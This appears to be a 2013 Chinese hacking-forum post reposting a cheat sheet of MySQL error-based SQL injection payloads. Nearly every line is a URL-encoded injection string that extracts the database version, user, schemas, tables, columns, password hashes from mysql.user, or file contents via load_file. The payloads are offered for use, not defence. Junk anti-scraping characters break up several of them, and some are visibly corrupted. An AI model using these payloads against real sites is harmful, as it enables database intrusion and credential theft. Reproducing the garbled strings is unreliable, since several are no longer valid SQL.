Mysql暴错注入参考（pdf）

admin

本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
5 k7 h2 X- k- Z2 u/ L9 G

Mysql暴错注入参考（pdf），每天一贴。。。
, l/ [" H, r/ I
MySql Error Based Injection Reference
[Mysql暴错注入参考]
Authornig0s1992
/ v. W1 q% i0 ?7 R6 k  x+ C/ ~Blog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
8 ~% v' K8 I2 h" c' g2 Q1 A% tMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
5 y  T3 k1 _* r& A) x* D小部分版本使用name_const()时会报错.可以用给出的Method.2测试
查询版本:
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
: Z+ J. [; @* x+ F  j, Cjoin+(select+name_const(@@version,0))b)c)
5 Y! R6 ?6 n; P* x! g8 bMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
2 G3 C$ D$ i* Hup by a)b)
0 r& t% R. m0 H6 A9 R/ |查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
( Z5 k; D5 [1 N6 C+ M. K2 }Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
4 e; H0 @' Y* b3 a9 _2 J7 \and(0)*2))x+from+information_schema.tables+group+by+x)a)
查询当前数据库:
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
) M# ]: }$ w! U$ n9 lMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
- ?( D7 A9 q" Z/ N# M' Qor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
4 L+ ~6 C$ Z# j5 [) v7 U$ `依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
- r) j  t* e$ T) Z顺序替换
爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+by+x)a)+and+1=1 0x6D7973716C=mysql
7 ]6 a) f, Y& j# [2 i  v! s1 d! D依次爆表:
) N6 r% D- r. E) yand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
( X- h) [, G) B5 w7 }: A7 Yable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
bles+group+by+x)a)+and+1=1
0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
! c" E9 I, R- ^& B1 y1 `( G7 \and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
; ^+ B8 v' B# l8 h" Z+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
+ B* n2 f* J7 q, n$ i依次爆字段:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
% V( P9 ~9 G$ T" w9 p+ _loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
7 M, V* ]' v7 J依次暴内容:
$ c3 P( D5 Q8 S, }* p, iand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
1 N  d0 J* P7 ]7 Qma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
+ C" \+ `: z' v8 N3 I- M将n顺序替换
爆文件内容:
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
from+information_schema.tables+group+by+a)b)
7 V8 x0 J2 r/ C2 b+ g0 n; Q8 c0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
Thx for reading.

不要下载也可以，
' O. B/ L( ]$ W3 m& O